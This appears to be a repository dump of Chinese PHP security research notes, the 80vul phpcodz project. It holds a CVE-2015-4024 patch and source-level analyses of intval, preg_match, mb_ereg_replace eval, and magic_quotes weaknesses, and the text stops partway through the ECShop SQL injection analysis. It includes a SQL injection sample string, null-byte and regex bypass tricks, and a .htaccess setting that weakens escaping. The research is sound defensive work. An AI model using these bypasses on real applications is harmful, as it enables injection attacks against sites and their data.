├── README.md
└── research
├── cve-2015-4024.patch.diff
├── pch-001.md
├── pch-002.md
├── pch-003.md
├── pch-004.md
├── pch-005.md
├── pch-006.md
├── pch-007.md
├── pch-008.md
├── pch-009.md
├── pch-010.md
├── pch-011.md
├── pch-012.md
├── pch-013.md
├── pch-014.md
├── pch-015.md
├── pch-016.md
├── pch-017.md
├── pch-018.md
├── pch-019.md
├── pch-020.md
├── pch-021.md
├── pch-022.md
├── pch-023.md
├── pch-024.md
├── pch-025.md
├── pch-026.md
├── pch-027.md
├── pch-028.md
├── pch-029.md
├── pch-030.md
├── pch-031.md
├── pch-032.md
├── pch-033.md
└── pch-034.md
/README.md:
--------------------------------------------------------------------------------
1 | # phpcodz
2 | Php Codz Hacking (http://www.80vul.com/pch/)
3 |
4 | ### What is PHP?
5 | > PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. If you are new to PHP and want to get some idea of how it works, try the introductory tutorial. After that, check out the online manual, and the example archive sites and some of the other resources available in the links section.
6 |
7 | ### About PCH[Php Codz Hacking]
8 | > 本项目主要是在php源代码的基础上去分析容易导致php应用程序的一些安全问题的根本所在,指导我们发现更加多的关于php的一些'特性'或漏洞.
9 |
10 | ### Research
11 | | Item | Title |
12 | | :-------- | :--------|
13 | | PCH-034 | [Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList](https://github.com/80vul/phpcodz/blob/master/research/pch-034.md) |
14 | | PCH-033 | [Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage](https://github.com/80vul/phpcodz/blob/master/research/pch-033.md) |
15 | | PCH-032 | [Use After Free Vulnerability in unserialize() with GMP](https://github.com/80vul/phpcodz/blob/master/research/pch-032.md) |
16 | | PCH-031 | [Use After Free Vulnerabilities in Session Deserializer](https://github.com/80vul/phpcodz/blob/master/research/pch-031.md) |
17 | | PCH-030 | [Use After Free Vulnerabilities in unserialize()](https://github.com/80vul/phpcodz/blob/master/research/pch-030.md) |
18 | | PCH-029 | [Use After Free Vulnerability in unserialize() with SplDoublyLinkedList](https://github.com/80vul/phpcodz/blob/master/research/pch-029.md) |
19 | | PCH-028 | [Use After Free Vulnerability in unserialize() with SplObjectStorage](https://github.com/80vul/phpcodz/blob/master/research/pch-028.md) |
20 | | PCH-027 | [Use After Free Vulnerability in unserialize() with SPL ArrayObject](https://github.com/80vul/phpcodz/blob/master/research/pch-027.md) |
21 | | PCH-026 | [Type Confusion Infoleak and Heap Overflow Vulnerability in unserialize() with exception {CVE-2015-4603}](https://github.com/80vul/phpcodz/blob/master/research/pch-026.md) |
22 | | PCH-025 | [Type Confusion Infoleak Vulnerability in unserialize() with SoapFault {CVE-2015-4599}](https://github.com/80vul/phpcodz/blob/master/research/pch-025.md) |
23 | | PCH-024 | [Type Confusion Infoleak Vulnerabilities in SoapClient {CVE-2015-4600}](https://github.com/80vul/phpcodz/blob/master/research/pch-024.md) |
24 | | PCH-023 | [Type Confusion Vulnerability in SoapClient {CVE-2015-4600}](https://github.com/80vul/phpcodz/blob/master/research/pch-023.md)|
25 | | PCH-022 | [Use After Free Vulnerability in unserialize() with DateInterval](https://github.com/80vul/phpcodz/blob/master/research/pch-022.md) |
26 | | PCH-021 | [Use After Free Vulnerability in unserialize() {CVE-2015-2787}](https://github.com/80vul/phpcodz/blob/master/research/pch-021.md) |
27 | | PCH-020 | [Use After Free Vulnerability in unserialize() with DateTime* {CVE-2015-0273}](https://github.com/80vul/phpcodz/blob/master/research/pch-020.md) |
28 | | PCH-019 | [Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone](https://github.com/80vul/phpcodz/blob/master/research/pch-019.md) |
29 | | PCH-018 | [PHP 脚本多字节字符解析模式带来的安全隐患](https://github.com/80vul/phpcodz/blob/master/research/pch-018.md) |
30 | | PCH-017 | [About PHP's unserialize() Function Use-After-Free Vulnerability](https://github.com/80vul/phpcodz/blob/master/research/pch-017.md) |
31 | | PCH-016 | [XSS via Error Reporting Notices in HHVM's unserialize() Function](https://github.com/80vul/phpcodz/blob/master/research/pch-016.md) |
32 | | PCH-015 | [Code Injection Vul via unserialize() & var_export() Function...](https://github.com/80vul/phpcodz/blob/master/research/pch-015.md) |
33 | | PCH-014 | [PHP WDDX Serializier Data Injection Vulnerability](https://github.com/80vul/phpcodz/blob/master/research/pch-014.md) |
34 | | PCH-013 | [PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md) |
35 | | PCH-012 | [New feature of double-quoted string's complex-curly syntax](https://github.com/80vul/phpcodz/blob/master/research/pch-012.md) |
36 | | PCH-011 | [Destructor in PHP](https://github.com/80vul/phpcodz/blob/master/research/pch-011.md) |
37 | | PCH-010 | [PHP string序列化与反序列化语法解析不一致带来的安全隐患](https://github.com/80vul/phpcodz/blob/master/research/pch-010.md) |
38 | | PCH-009 | [Security risk of php string offset](https://github.com/80vul/phpcodz/blob/master/research/pch-009.md) |
39 | | PCH-008 | [parse_str的变量初始化问题](https://github.com/80vul/phpcodz/blob/master/research/pch-008.md) |
40 | | PCH-007 | [New Includes Function -- spl_autoload()](https://github.com/80vul/phpcodz/blob/master/research/pch-007.md) |
41 | | PCH-006 | [安全模式下exec等函数安全隐患[updata:2009-6-19]](https://github.com/80vul/phpcodz/blob/master/research/pch-006.md) |
42 | | PCH-005 | [当magic_quotes_gpc=off](https://github.com/80vul/phpcodz/blob/master/research/pch-005.md) |
43 | | PCH-004 | [关于magic_quotes_sybase](https://github.com/80vul/phpcodz/blob/master/research/pch-004.md) |
44 | | PCH-003 | [mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题](https://github.com/80vul/phpcodz/blob/master/research/pch-003.md) |
45 | | PCH-002 | [preg_match(_all)的变量初始化问题](https://github.com/80vul/phpcodz/blob/master/research/pch-002.md) |
46 | | PCH-001 | [intval()使用不当导致安全漏洞](https://github.com/80vul/phpcodz/blob/master/research/pch-001.md) |
47 |
--------------------------------------------------------------------------------
/research/cve-2015-4024.patch.diff:
--------------------------------------------------------------------------------
1 | ### fix CVE-2015-4024 patch for PHP 5.2/5.3 series @chtg
2 |
3 | --- a/php-5.3.29/main/rfc1867.c
4 | +++ b/php-5.3.29-fixed/main/rfc1867.c
5 | @@ -464,6 +464,8 @@ static int multipart_buffer_headers(multipart_buffer *self, zend_llist *header T
6 | char *line;
7 | mime_header_entry prev_entry, entry;
8 | int prev_len, cur_len;
9 | + int newlines = 0;
10 | + long upload_max_newlines = 100;
11 |
12 | /* didn't find boundary, abort */
13 | if (!find_boundary(self, self->boundary TSRMLS_CC)) {
14 | @@ -489,6 +491,7 @@ static int multipart_buffer_headers(multipart_buffer *self, zend_llist *header T
15 |
16 | entry.value = estrdup(value);
17 | entry.key = estrdup(key);
18 | + newlines = 0;
19 |
20 | } else if (zend_llist_count(header)) { /* If no ':' on the line, add to previous line */
21 |
22 | @@ -501,6 +504,10 @@ static int multipart_buffer_headers(multipart_buffer *self, zend_llist *header T
23 | entry.value[cur_len + prev_len] = '\0';
24 |
25 | entry.key = estrdup(prev_entry.key);
26 | + newlines++;
27 | + if (newlines > upload_max_newlines) {
28 | + return 0;
29 | + }
30 |
31 | zend_llist_remove_tail(header);
32 | } else {
33 |
--------------------------------------------------------------------------------
/research/pch-001.md:
--------------------------------------------------------------------------------
1 | ### intval()使用不当导致安全漏洞的分析
2 | > xy7#80sec.com
3 |
4 | #### 一、描叙
5 |
6 | intval函数有个特性:"直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换",在某些应用程序里由于对intval函数这个特性认识不够,错误的使用导致绕过一些安全判断导致安全漏洞.
7 |
8 | #### 二、分析
9 | ``` c
10 | PHP_FUNCTION(intval)
11 | {
12 | zval **num, **arg_base;
13 | int base;
14 | switch (ZEND_NUM_ARGS()) {
15 | case 1:
16 | if (zend_get_parameters_ex(1, &num) == FAILURE) {
17 | WRONG_PARAM_COUNT;
18 | }
19 | base = 10;
20 | break;
21 | case 2:
22 | if (zend_get_parameters_ex(2, &num, &arg_base) == FAILURE) {
23 | WRONG_PARAM_COUNT;
24 | }
25 | convert_to_long_ex(arg_base);
26 | base = Z_LVAL_PP(arg_base);
27 | break;
28 | default:
29 | WRONG_PARAM_COUNT;
30 | }
31 | RETVAL_ZVAL(*num, 1, 0);
32 | convert_to_long_base(return_value, base);
33 | }
34 | ```
35 | ``` c
36 | Zend/zend_operators.c->>convert_to_long_base()
37 | ……
38 | case IS_STRING:
39 | strval = Z_STRVAL_P(op);
40 | Z_LVAL_P(op) = strtol(strval, NULL, base);
41 | STR_FREE(strval);
42 | break;
43 | ```
44 |
45 | 当intval函数接受到字符串型参数是调用convert_to_long_base()处理,接下来调用Z_LVAL_P(op) = strtol(strval, NULL, base);通过strtol函数来处理参数。
46 |
47 | 函数原型如下:
48 | ``` c
49 | long int strtol(const char *nptr,char **endptr,int base);
50 | ```
51 | 这个函数会将参数nptr字符串根据参数base来转换成长整型数,参数base范围从2至36,或0.参数base代表采用的进制方式,如base值为10则采用10进制,若base值为16则采用16进制等。
52 |
53 | 流程为:
54 | strtol()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换,并将结果返回。
55 |
56 | 那么当intval用在if等的判断里面,将会导致这个判断实去意义,从而导致安全漏洞.
57 |
58 | #### 三、测试代码
59 | ``` php
60 |
61 | //intval.php
62 | $var="20070601";
63 | if (intval($var))
64 | echo "it's safe";
65 | echo '$var='.$var;
66 | echo "
";
67 | $var1="1 union select 1,1,1 from admin";
68 | if (intval($var1))
69 | echo "it's safe too";
70 | echo '$var1='.$var1;
71 | ?>
72 | ```
73 |
74 | #### 四、实际应用
75 |
76 | WordPress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index / sql injection exploit
77 | [http://superhei.blogbus.com/logs/4255503.html]
78 |
--------------------------------------------------------------------------------
/research/pch-002.md:
--------------------------------------------------------------------------------
1 | ### preg_match(_all)的变量初始化问题
2 | > 80vul-B date:2009-04-27
3 |
4 | #### 一、描叙
5 |
6 | php手册里:
7 | > int preg_match ( string pattern, string subject [, array matches [, int flags]] )
8 |
9 | > 在 subject 字符串中搜索与 pattern 给出的正则表达式相匹配的内容。
10 |
11 | > 如果提供了 matches,则其会被搜索的结果所填充。$matches[0] 将包含与整个模式匹配的文本,$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推。
12 |
13 | 这个是一个应用比较多的函数,很多应用程序忘记对preg_match(_all)的变量进行初始化,导致安全漏洞.
14 |
15 | #### 二、分析
16 |
17 | patch_match的部分源码:
18 | ``` c
19 | PHP_FUNCTION(preg_match)
20 | {
21 | php_do_pcre_match(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
22 | }
23 | ...
24 | // php_pcre.c
25 | static void php_do_pcre_match(INTERNAL_FUNCTION_PARAMETERS, int global) /* {{{ */
26 | {
27 | ...
28 | if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, ((global) ? "ssz|ll" : "ss|zll"), ®ex, ®ex_len,
29 | &subject, &subject_len, &subpats, &flags, &start_offset) == FAILURE) {
30 | RETURN_FALSE;
31 | }
32 | // 调用zend_parse_parameters检查传入的参数,参数类型及格式限定为了ss|zll
33 |
34 | // zend_API.c
35 | ZEND_API int zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, ...)
36 | {
37 | ...
38 | retval = zend_parse_va_args(num_args, type_spec, &va, 0 TSRMLS_CC);
39 | ...
40 | static int zend_parse_va_args(int num_args, char *type_spec, va_list *va, int flags TSRMLS_DC)
41 | {
42 | ...
43 | while (num_args-- > 0) {
44 | arg = (zval **) p - (arg_count-i);
45 | if (*type_spec == '|') {
46 | type_spec++;
47 | }
48 | if (zend_parse_arg(i+1, arg, va, &type_spec, quiet TSRMLS_CC) == FAILURE) {
49 | // 调用zend_parse_arg检查每个参数的类型
50 | return FAILURE;
51 | }
52 | ...
53 | static int zend_parse_arg(int arg_num, zval **arg, va_list *va, char **spec, int quiet TSRMLS_DC)
54 | {
55 | ...
56 | expected_type = zend_parse_arg_impl(arg_num, arg, va, spec TSRMLS_CC);
57 | if (expected_type) {
58 | if (!quiet && *expected_type) {
59 | char *space;
60 | char *class_name = get_active_class_name(&space TSRMLS_CC);
61 |
62 | zend_error(E_WARNING, "%s%s%s() expects parameter %d to be %s, %s given",
63 | class_name, space, get_active_function_name(TSRMLS_C), arg_num, expected_type,
64 | zend_zval_type_name(*arg));
65 | // 如果参数的类型非法,报错并导致zend_parse_parameters返回FAILURE
66 | }
67 | ...
68 | static char *zend_parse_arg_impl(int arg_num, zval **arg, va_list *va, char **spec TSRMLS_DC)
69 | {
70 | char *spec_walk = *spec;
71 | char c = *spec_walk++;
72 | ...
73 | switch (c) {
74 | ...
75 | case 's':
76 | {
77 | char **p = va_arg(*va, char **);
78 | int *pl = va_arg(*va, int *);
79 | switch (Z_TYPE_PP(arg)) {
80 | case IS_NULL:
81 | if (return_null) {
82 | *p = NULL;
83 | *pl = 0;
84 | break;
85 | }
86 | /* break omitted intentionally */
87 |
88 | case IS_STRING:
89 | case IS_LONG:
90 | case IS_DOUBLE:
91 | case IS_BOOL:
92 | convert_to_string_ex(arg);
93 | *p = Z_STRVAL_PP(arg);
94 | *pl = Z_STRLEN_PP(arg);
95 | break;
96 |
97 | case IS_OBJECT:
98 | if (parse_arg_object_to_string(arg, p, pl, IS_STRING TSRMLS_CC) == SUCCESS) {
99 | break;
100 | }
101 |
102 | case IS_ARRAY:
103 | case IS_RESOURCE:
104 | default:
105 | return "string";
106 | }
107 | }
108 | break;
109 | ...
110 | // 由上面的代码可以看到如果传入preg_match的第一个或者第二个参数是一个数组或者资源类型的话,将会报错并返回false,这将导致如果使用第三个参数的话,该变量将不会被赋值
111 | ```
112 |
113 | #### 三、测试代码
114 | ``` php
115 |
121 | ```
122 |
123 | #### 四、实际应用
124 |
125 | [SODB-2009-01]:Discuz!<5.50 preg_match()的变量$onlineipmatches未初始化漏洞
126 | [http://www.80vul.com/dzvul/]
127 |
--------------------------------------------------------------------------------
/research/pch-003.md:
--------------------------------------------------------------------------------
1 | ### mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题
2 | > ryat#wolvez.org date:2009-04-30
3 |
4 | #### 一、描叙
5 | mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:
6 |
7 | > string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option= "msr" ] )
8 |
9 | 当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php代码被执行,但php在处理这一过程中,存在安全隐患,可能导致绕过程序的逻辑执行任意代码,另外程序员对正则匹配替换认识不够[包括preg_replace等函数],容易饶过安全限制,导致安全漏洞.
10 |
11 | #### 二、分析
12 |
13 | mb_ereg_replace()的代码:
14 | ``` c
15 | // php_mbregex.c
16 | PHP_FUNCTION(mb_ereg_replace)
17 | {
18 | _php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
19 | }
20 | ...
21 | static void _php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAMETERS, OnigOptionType options)
22 | {
23 | ...
24 | smart_str out_buf = { 0 };
25 | smart_str eval_buf = { 0 };
26 | smart_str *pbuf;
27 | ...
28 | if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Zss|s",
29 | &arg_pattern_zval,
30 | &replace, &replace_len,
31 | &string, &string_len,
32 | &option_str, &option_str_len) == FAILURE) {
33 | RETURN_FALSE;
34 | }
35 | ...
36 | re = php_mbregex_compile_pattern(arg_pattern, arg_pattern_len, options, MBSTRG(current_mbctype), syntax TSRMLS_CC);
37 | // 编译模式,编译后的模式存储在re_pattern_buffer结构
38 | ...
39 | if (eval) {
40 | pbuf = &eval_buf;
41 | description = zend_make_compiled_string_description("mbregex replace" TSRMLS_CC);
42 | } else {
43 | pbuf = &out_buf;
44 | description = NULL;
45 | // *pbuf,eval_buf,out_buf都是smart_str结构,结构说明如下:
46 | // typedef struct {
47 | // char *c;
48 | // size_t len;
49 | // size_t a;
50 | // } smart_str;
51 | }
52 |
53 | /* do the actual work */
54 | err = 0;
55 | pos = string;
56 | string_lim = (OnigUChar*)(string + string_len);
57 | regs = onig_region_new();
58 | // 分配内存,初始化re_registers结构,用于存储模式匹配值[num_regs成员为子模式匹配值个数,beg成员为模式及子模式匹配值的开始位,end成员为结束位]
59 | while (err >= 0) {
60 | err = onig_search(re, (OnigUChar *)string, (OnigUChar *)string_lim, pos, (OnigUChar *)string_lim, regs, 0);
61 | // 依据编译好的模式进行匹配
62 | ...
63 | /* copy the part of the string before the match */
64 | smart_str_appendl(&out_buf, pos, (size_t)((OnigUChar *)(string + regs->beg[0]) - pos));
65 | // 添加模式匹配值开始前的部分[用于函数的返回值]
66 | /* copy replacement and backrefs */
67 | i = 0;
68 | p = replace;
69 | while (i < replace_len) {
70 | int fwd = (int) php_mb_mbchar_bytes_ex(p, enc);
71 | n = -1;
72 | if ((replace_len - i) >= 2 && fwd == 1 &&
73 | p[0] == '\\' && p[1] >= '0' && p[1] <= '9') {
74 | n = p[1] - '0';
75 | }
76 | if (n >= 0 && n < regs->num_regs) {
77 | if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {
78 | smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]);
79 | // 如果使用逆向引用且存在相应的[子]模式匹配值,就调用smart_str_appendl添加[子]模式匹配值[调用memcpy把值copy到pbuf->c+pbuf->len]
80 | }
81 | } else {
82 | smart_str_appendl(pbuf, p, fwd);
83 | p += fwd;
84 | i += fwd;
85 | }
86 | }
87 | ...
88 | if (eval) {
89 | zval v;
90 | /* null terminate buffer */
91 | smart_str_appendc(&eval_buf, '\0');
92 | /* do eval */
93 | if (zend_eval_string(eval_buf.c, &v, description TSRMLS_CC) == FAILURE) {
94 | efree(description);
95 | php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, eval_buf.c);
96 | /* zend_error() does not return in this case */
97 | }
98 |
99 | // 如果option指定为e,就调用zend_eval_string处理eval_buf.c,也就是pbuf->c[先编译成opcode,在调用zend_execute处理opcode]
100 | //上面的代码mb_ereg_replace对所捕获的子模式的匹配值没有安全处理,直接调用zend_eval_string执行replace后的值.
101 | //这样将引来一些安全隐患:比如可以引入'来闭合之前的' ,另外我们也可以引入nullbyte来截断后面的代码[zend_eval_string是not binary safe的]:)
102 |
103 | 为了对比说明这个安全漏洞我们同样来分析下preg_replace()在/e下执行php代码的处理过程:
104 |
105 | //preg_replace()
106 | ...
107 | if (eval) {
108 | eval_result_len = preg_do_eval(replace, replace_len, subject,
109 | offsets, count, &eval_result TSRMLS_CC);
110 | // 在e修正符模式下调用preg_do_eval
111 | ...
112 | static int preg_do_eval(char *eval_str, int eval_str_len, char *subject,
113 | int *offsets, int count, char **result TSRMLS_DC)
114 | {
115 | ...
116 | smart_str code = {0};
117 |
118 | eval_str_end = eval_str + eval_str_len;
119 | walk = segment = eval_str;
120 | walk_last = 0;
121 |
122 | while (walk < eval_str_end) {
123 | /* If found a backreference.. */
124 | if ('\\' == *walk || '$' == *walk) {
125 | smart_str_appendl(&code, segment, walk - segment);
126 | if (walk_last == '\\') {
127 | code.c[code.len-1] = *walk++;
128 | segment = walk;
129 | walk_last = 0;
130 | continue;
131 | }
132 | segment = walk;
133 | if (preg_get_backref(&walk, &backref)) {
134 | if (backref < count) {
135 | /* Find the corresponding string match and substitute it
136 | in instead of the backref */
137 | match = subject + offsets[backref<<1];
138 | match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
139 | if (match_len) {
140 | esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC);
141 | // 如果使用逆向引用且存在相应的[子]模式匹配值,就对所捕获的[子]模式匹配值调用php_addslashes_ex
142 | ...
143 | smart_str_appendl(&code, esc_match, esc_match_len);
144 | // 添加[子]模式匹配值
145 | ...
146 | smart_str_appendl(&code, segment, walk - segment);
147 | smart_str_0(&code);
148 |
149 | compiled_string_description = zend_make_compiled_string_description("regexp code" TSRMLS_CC);
150 | /* Run the code */
151 | if (zend_eval_string(code.c, &retval, compiled_string_description TSRMLS_CC) == FAILURE) {
152 | efree(compiled_string_description);
153 | php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, code.c);
154 | /* zend_error() does not return in this case */
155 | }
156 | // 调用zend_eval_string处理code.c
157 | ```
158 |
159 | preg_replace()函数一样对所捕获的模式匹配值调用php_addslashes_ex.
160 |
161 | #### 三、测试代码:
162 | ``` php
163 |
171 | ```
172 |
173 | #### 四、其延伸出的正则应用安全问题
174 |
175 | 从上面对mb_ereg_replace()代码分析看看出mb_ereg_replace()函数整个处理过程可以简单描述为:
176 |
177 | 检查参数,编译pattern,依据编译后的pattern对string进行匹配,如果存在匹配值[没有模式匹配值,则把string作为返回值并返回],把string中模式匹配值前面的部分添加到返回值,对模式匹配值进行替换,如果replacement中使用逆向引用且存在相应的[子]模式匹配值,替换replacement中的逆向引用[注意这里没对替换的模式及子模式匹配值做任何处理,另外这里其实并非替换,具体处理过程请看上面的源码].如果option没有指定e,就把replacement添加到返回值;如果指定e,把replacement作为php代码执行,并把代码执行后的返回值添加到返回值.把string中模式匹配值后面的部分添加到返回值.返回返回值.
178 |
179 | 通过对mb_ereg_replace()正则替换流程的分析及很多的应用程序的代码分析,发现很多程序员对正则表达式替换函数[包括preg_replace等函数]的处理过程不了解可能导致一些逻辑错误.
180 |
181 | 测试如下代码:
182 | ``` php
183 |
187 | ```
188 | 上面的代码直接输出ryat了,这个是由于正则替换时,当不匹配时,就返回原值的了.
189 |
190 | 来思考下这个问题的修补,比如:
191 | ``` php
192 |
196 | ```
197 | 输出为空了,因为这个正则可以匹配$onlineip,所以这里会返回\1对应的子模式匹配值,好像完美的fix了?其实还可以绕过:
198 | ``` php
199 |
204 | ```
205 |
206 | 因为在没有用s模式修正符下.是不匹配的\n的,所以\nryat部分不被正则匹配,将会作为返回值[或者返回值的一部分]返回:)
207 |
208 | #### 五、实际应用
209 | 暂缺
210 |
211 |
--------------------------------------------------------------------------------
/research/pch-004.md:
--------------------------------------------------------------------------------
1 | ### 关于magic_quotes_sybase
2 | > ryat#wolvez.org date:2009-04-14
3 |
4 | #### 一、描叙
5 | magic_quotes_gpc为on时,php在注册变量时会调用addslashes()函数处理[既转义单引号、双引号、反斜线和nullbyte],但php.ini中还有另外一个选项影响着magic_quotes_gpc和addslashes()函数:当php.ini设置magic_quotes_sybase为on时会覆盖magic_quotes_gpc为on的处理,然而magic_quotes_sybase仅仅是转义了nullbyte和把'变成了''
6 |
7 | #### 二、分析
8 |
9 | 先来看下addslashes的php源码:
10 | ``` c
11 | // string.c
12 | PHPAPI char *php_addslashes(char *str, int length, int *new_length, int should_free TSRMLS_DC)
13 | {
14 | return php_addslashes_ex(str, length, new_length, should_free, 0 TSRMLS_CC);
15 | }
16 | ...
17 | PHPAPI char *php_addslashes_ex(char *str, int length, int *new_length, int should_free, int ignore_sybase TSRMLS_DC)
18 | {
19 | ...
20 | if (!ignore_sybase && PG(magic_quotes_sybase)) {
21 | // 如果ignore_sybase=0[默认为0]且magic_quotes_sybase为on就执行下面的代码
22 | while (source < end) {
23 | switch (*source) {
24 | case '\0':
25 | *target++ = '\\';
26 | *target++ = '0';
27 | break;
28 | case '\'':
29 | *target++ = '\'';
30 | *target++ = '\'';
31 | break;
32 | default:
33 | *target++ = *source;
34 | break;
35 | }
36 | source++;
37 | // 从上面的代码可以看到只是把null变成了\0,'变成了''
38 | }
39 | } else {
40 | // 执行常规的转义
41 | ...
42 | ```
43 |
44 | 由上面的代码可以看到,如果magic_quotes_sybase为on就会覆盖magic_quotes_gpc为on时的默认处理效果[而magic_quotes_sybase仅仅是转义了nullbyte和把'变成了'' :)]
45 |
46 | 然后我们看看关于magic_quotes_sybase定义的部分:
47 |
48 | ``` c
49 | // main.c
50 | STD_PHP_INI_BOOLEAN("magic_quotes_sybase", "0", PHP_INI_ALL, OnUpdateBool, magic_quotes_sybase, php_core_globals, core_globals)
51 | ```
52 |
53 | 可以看到,magic_quotes_sybase在php.ini里默认是关闭的,但是属于PHP_INI_ALL类型的指令,那么就可以在.htaccess或者httpd.conf里来更改magic_quotes_sybase的设置了. 如:
54 | ``` php
55 | // .htaccess
56 | php_flag magic_quotes_sybase on
57 | ```
58 |
59 | #### 三、测试代码
60 | 缺
61 |
62 | #### 四、实际应用
63 | 缺
64 |
--------------------------------------------------------------------------------
/research/pch-005.md:
--------------------------------------------------------------------------------
1 | ### 当magic_quotes_gpc=off
2 | > ryat#www.wolvez.org date:2009-04-10
3 |
4 | #### 一、综述
5 |
6 | magic_quotes_gpc是php中的一个安全选项,在php manual中对此有如下描述:
7 |
8 | > When on, all ' (single-quote), " (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically. This is identical to what addslashes() does
9 |
10 | 虽然magic_quotes_gpc有助于提升程序的安全性并且在php中默认开启,但同时也带来了其他的一些问题,因此在php6中将去掉此选项。
11 |
12 | #### 二、当magic_quotes_gpc=off
13 |
14 | 考虑到部分服务器关闭了magic_quotes_gpc或者其他的一些原因[如影响功能等],很多程序在如magic_quotes_gpc=off下自己实现一个代码来模拟magic_quotes_gpc=on的情况. 如下面的一段代码:
15 | ``` c
16 | define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
17 | ...
18 | foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
19 | foreach($$_request as $_key => $_value) {
20 | $_key{0} != '_' && $$_key = daddslashes($_value);
21 | }
22 | }
23 | ...
24 | function daddslashes($string, $force = 0) {
25 | !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
26 | if(!MAGIC_QUOTES_GPC || $force) {
27 | if(is_array($string)) {
28 | foreach($string as $key => $val) {
29 | $string[$key] = daddslashes($val, $force);
30 | }
31 | } else {
32 | $string = addslashes($string);
33 | }
34 | }
35 | return $string;
36 | }
37 | ```
38 |
39 | 利用addslashes()函数模拟了magic_quotes_gpc=on时的效果,看上去很完美,其实是有缺陷的或者说只是模拟了magic_quotes_gpc的部分功能.
40 |
41 | #### 三、magic_quotes_gpc的代码分析
42 |
43 | php在注册$_GET/$_POST等超全局变量时magic_quotes_gpc部分的代码:
44 | ``` c
45 | // php_variables.c
46 | PHPAPI void php_register_variable_safe(char *var, char *strval, int str_len, zval *track_vars_array TSRMLS_DC)
47 | {
48 | // 对变量值的处理
49 | ...
50 | if (PG(magic_quotes_gpc)) {
51 | Z_STRVAL(new_entry) = php_addslashes(strval, Z_STRLEN(new_entry), &Z_STRLEN(new_entry), 0 TSRMLS_CC);
52 | } else {
53 | Z_STRVAL(new_entry) = estrndup(strval, Z_STRLEN(new_entry));
54 | }
55 | ...
56 | PHPAPI void php_register_variable_ex(char *var_name, zval *val, zval *track_vars_array TSRMLS_DC)
57 | {
58 | // 对变量名的处理
59 | ...
60 | zend_bool is_array = 0;
61 | ...
62 | for (p = var; *p; p++) {
63 | if (*p == ' ' || *p == '.') {
64 | *p='_';
65 | } else if (*p == '[') {
66 | is_array = 1;
67 | ip = p;
68 | *p = 0;
69 | break;
70 | }
71 | }
72 | var_len = p - var;
73 | // 上面这段代码没有考虑变量名的原始长度,所以这里是not binary safe
74 | // 也就是说,提交 test.php?ryat%00wst=1 将会生成$_GET['ryat']=1
75 | ...
76 | if (is_array) {
77 | // 如果变量名是数组的形式
78 | ...
79 | } else {
80 | // php > 5.2.1
81 | if (PG(magic_quotes_gpc)) {
82 | // php = 4.x && php <= 5.2.1
83 | // if (PG(magic_quotes_gpc) && (index!=var)) {
84 | escaped_index = php_addslashes(index, index_len, &index_len, 0 TSRMLS_CC);
85 | } else {
86 | escaped_index = index;
87 | }
88 | ...
89 | } else {
90 | // 这部分的magic_quotes_gpc处理和上面一样
91 | ...
92 | ```
93 |
94 | 由上面的代码可以看到,magic_quotes_gpc=on时不仅仅用addslashes处理了变量值,而且处理了变量名[既$_GET/$_POST等超全局变量的key,另外要注意的是:[1]在php4和php<5.2.1的版本中,不处理第一维的key:)]
95 |
96 | 而前面那段模拟magic_quotes_gpc的代码仅仅处理了数组的值,因此是存在安全隐患的。
97 |
98 | #### 四、实例[ECShop SQL injection 漏洞分析]
99 |
100 | 文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():
101 | ``` php
102 | // includes/init.php
103 | if (!get_magic_quotes_gpc())
104 | {
105 | if (!empty($_GET))
106 | {
107 | $_GET = addslashes_deep($_GET);
108 | }
109 | if (!empty($_POST))
110 | {
111 | $_POST = addslashes_deep($_POST);
112 | }
113 |
114 | $_COOKIE = addslashes_deep($_COOKIE);
115 | $_REQUEST = addslashes_deep($_REQUEST);
116 | }
117 | ```
118 | addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
119 | ``` php
120 | // includes/lib_base.php
121 | function addslashes_deep($value)
122 | {
123 | if (empty($value))
124 | {
125 | return $value;
126 | }
127 | else
128 | {
129 | return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
130 | // 只处理了数组的值:)
131 | }
132 | }
133 | ```
134 |
135 | 下面看下具体的导致漏洞的代码,文件 pick_out.php里:
136 | ``` php
137 | // pick_out.php
138 | if (!empty($_GET['attr']))
139 | {
140 | foreach($_GET['attr'] as $key => $value)
141 | {
142 | $key = intval($key);
143 | $_GET['attr'][$key] = htmlspecialchars($value);
144 | // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
